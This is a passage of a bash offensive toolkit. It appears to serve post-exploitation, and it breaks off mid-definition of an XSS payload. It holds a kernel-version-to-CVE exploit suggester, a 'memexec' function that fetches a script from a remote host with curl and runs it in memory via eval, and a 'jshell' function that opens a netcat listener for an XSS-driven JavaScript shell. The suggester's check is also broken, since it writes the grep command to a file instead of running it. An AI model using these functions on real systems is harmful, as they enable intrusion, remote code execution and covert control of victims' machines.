806 | ["2.6.25|2.6.26|2.6.27|2.6.28|2.6.29"]="CVE-2009-1185"
807 | ["2.6.25|2.6.26|2.6.27|2.6.28|2.6.29"]="CVE-2009-1337"
808 | ["2.4.[4-37]|2.6.[0-30]"]="CVE-2009-2692"
809 | ["2.6.[1-19]"]="CVE-2009-2698"
810 | ["2.4.[4-37]|2.6.[15-31]"]="CVE-2009-3547" )
811 | kernel=`uname -r`
812 | for exploit in "${!exploits[@]}"; do
813 | echo "${kernel}|grep -E ${exploit}" > tmp
814 | check=$?
815 | if [ "$check" -eq 0 ]; then
816 | echo "${red}${bold}<.>${reset} ${exploits[$exploit]}"
817 | ((hits++))
818 | fi
819 | done
820 | if [ $hits = 0 ]; then
821 | print_error "No exploits found"
822 | else
823 | echo "${magenta}(${hits} hits )${reset}"
824 | fi
825 | rm tmp
826 | fi
827 | }
828 |
829 |
830 | memexec(){
831 | if [[ "$@" =~ .*-h.* ]]; then
832 | echo "
833 | ${underline}USAGE:${reset}
834 | dexec [-h] HOST URL
835 | ${underline}POSITIONAL ARGUMENTS:${reset}
836 | HOST Remote server address
837 | URL Full path of the script on the remote server
838 | ${underline}DESCRIPTION:${reset}
839 | Download and execute a remote bash script in memory"
840 | else
841 | if [ $# -eq 0 ]; then
842 | print_error "Specify the server address"
843 | elif [ $# -eq 1 ]; then
844 | print_error "Specify the URL of the script"
845 | else
846 | host=$1
847 | script=$2
848 | X=`curl -fsSL "http://${host}/${script}"`
849 | eval "$X"
850 | print_good "Succesfully executed ${script} from memory"
851 | fi
852 | fi
853 | }
854 |
855 | jshell(){
856 | arguments_errors=0
857 | if [[ "$@" =~ .*-h.* ]]; then
858 | echo "
859 | ${underline}USAGE:${reset}
860 | jshell [-h] LHOST LPORT
861 | ${underline}POSITIONAL ARGUMENTS:${reset}
862 | LHOST Local address to listen on (set to "-" to automatically detect the ip)
863 | LPORT Local port to listen on
864 | ${underline}DESCRIPTION:${reset}
865 | Get a Javascript shell with XSS"
866 | else
867 | if [[ "$1" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
868 | lhost=$1
869 | elif [ "$1" = "-" ]; then
870 | lhost=`ip address | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'`
871 | else
872 | print_error "Wrong IP address format"
873 | ((arguments_errors++))
874 | fi
875 | if [ "$2" -eq "$2" ] 2>/dev/null; then
876 | lport=$2
877 | else
878 | print_error "Wrong port format: integer required"
879 | ((arguments_errors++))
880 | fi
881 | if [ $arguments_errors = 0 ]; then
882 | if [ "$OSTYPE" = "darwin" ]; then
883 | netcat_cmd="nc -nlvk ${lport}"
884 | else
885 | netcat_cmd="nc -nlvp ${lport}"
886 | fi
887 | payload="